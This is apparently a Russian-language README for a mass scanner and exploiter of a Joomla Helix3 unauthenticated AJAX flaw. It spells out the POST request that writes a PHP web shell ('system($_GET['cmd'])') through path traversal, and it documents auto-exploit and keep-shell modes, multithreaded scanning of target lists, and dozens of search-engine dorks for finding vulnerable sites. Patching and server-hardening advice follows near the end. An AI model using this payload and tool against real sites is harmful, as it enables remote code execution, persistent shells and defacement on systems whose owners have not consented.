
CVE-2026-49049 Сканер неаутентифицированной AJAX RCE-уязвимости Joomla Helix3 (JoomShaper)
Массовый сканер / верификатор для CVE-2026-49049: неаутентифицированный AJAX-обработчик в плагине Helix3 Framework для Joomla (v1.0 – 3.1.0, исправлено в 3.1.1+).
Только авторизованное тестирование. Используйте только на системах, которыми владеете или на тестирование которых имеете письменное разрешение.
Обработчик onAjaxHelix3() в plugins/ajax/helix3/helix3.php доступен через Joomla com_ajax без аутентификации / CSRF-токена:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
При активной массовой эксплуатации в дикой природе часто размещают веб-шелл с двойным расширением:
< 3.1.1save с layoutName=../../up.php + содержимое PHP-веб-шелла.json → up.php.json оказывается в корне веб-сайтаAddHandler Apache выполняет .php-частьGET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKDetect Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json written
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
Требования: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.
Отредактируйте targets.txt — один URL / хост на строку (# = комментарий). Путь Joomla сохраняется:
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
Не загружает веб-шелл. Проверяет версию + пробует save / remove / import:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep
# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
Предупреждение: режим
--autoпытается записать веб-шелл через path traversal. По умолчанию веб-шелл удаляется после проверки. Используйте--keepтолько для авторизованных демонстраций.
Терминал отображает все статусы (ход выполнения). results.txt содержит только уязвимые цели:
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
Остальные метки (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) видны только в терминале и не попадают в results.txt.
Используйте дорки ниже, чтобы найти потенциально затронутые активы Helix3 / Joomla. Сканируйте только разрешённые цели.
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth save probe (authorized only)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Обновите плагины System – Helix3 Framework и Helix3 – Ajax до версии 3.1.1 или новее (рекомендуется 3.1.2).
Обновление не удаляет payload, уже попавшие в базу данных.
#__template_styles, колонку params, на предмет инъекций custom_js / custom_csstmp / media:
up.php.json, cox.json, *.php.json, другие веб-шеллыОбщие признаки компрометации: дефейс "Hacked by AntonKill" / "trenggalek6etar", инъекции custom_js, неизвестные JSON-файлы.
Apache — не используйте AddHandler с несколькими расширениями; используйте:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
Загрузка / запись файлов: перегенерируйте имена файлов, запретите расширения с несколькими точками, AllowOverride None в публичных каталогах.
python3 scan.py -t https://YOUR-SITE/ --scan
# Expected: PATCHED Helix3 3.1.1+ (atau NOT_HELIX3 jika plugin di-uninstall)
CVE-2026-49049/
├── scan.py # CLI entry point
├── core/
│ ├── engine.py # ThreadPoolExecutor + results (vuln-only to file)
│ ├── probe.py # Helix3 detect + save/remove/import + RCE drop
│ └── target.py # Parse / normalize targets.txt
├── utils/
│ └── banner.py
├── targets.txt # Input targets
├── results.txt # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md
Вклады сообщества приветствуются. Мейнтейнер: ExDev994.
from __future__ import annotations, аннотации типов)python3 -m py_compile scan.py core/*.py utils/*.py и python3 scan.py --helpСообщайте об ошибках / запросах функций в Issues. Указывайте:
| Автор | Роль |
|---|---|
| ExDev994 | Автор / мейнтейнер |
Уязвимость первоначально сообщена Phil Taylor (mySites.guru). Этот репозиторий является независимой реализацией сканера и не связан с JoomShaper или Open Source Matters.
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности.
Несанкционированный доступ к компьютерным системам незаконен и может нарушать законы, включая индонезийский UU ITE, американский CFAA и аналогичные законодательные акты в других юрисдикциях.
Автор (ExDev994) не несёт ответственности за неправомерное использование. Используя данное программное обеспечение, вы принимаете на себя полную ответственность за свои действия. Режим --auto загружает временный веб-шелл — используйте только на авторизованных целях.
| Действие | Влияние | Версии |
|---|
save | Произвольная запись JSON-файла + path traversal | 1.0 – 3.1.0 |
remove | Произвольное удаление файла (без ограничений по расширению/пути) | 1.0 – 3.1.0 |
import | Перезапись параметров шаблона в БД (custom_js без экранирования → XSS/дефейс) | только v3.x |
| Версия Helix3 | save / remove | import | Статус |
|---|
| 1.0 – 2.x | Уязвима | Отсутствует | Уязвима |
| 3.0 – 3.1.0 | Уязвима | Уязвима | Уязвима |
| 3.1.1+ | Исправлена | Исправлена | Безопасна |
| Флаг | Описание |
|---|
-f / --file | Файл со списком целей (по умолчанию: targets.txt, если -t отсутствует) |
-t / --target | URL одиночной цели |
--scan | Обнаружение только на чтение |
--auto | Обнаружение + проверка RCE (по умолчанию) |
-c / --cmd | Команда для проверки (по умолчанию: id) |
-o / --output | Файл результатов — только цели VULN / SHELL_OK |
--json | Структурированный отчёт в JSON |
--keep | Не удалять веб-шелл автоматически после проверки |
--threads | Количество параллельных потоков (по умолчанию: 15) |
--timeout | Таймаут HTTP в секундах (по умолчанию: 15) |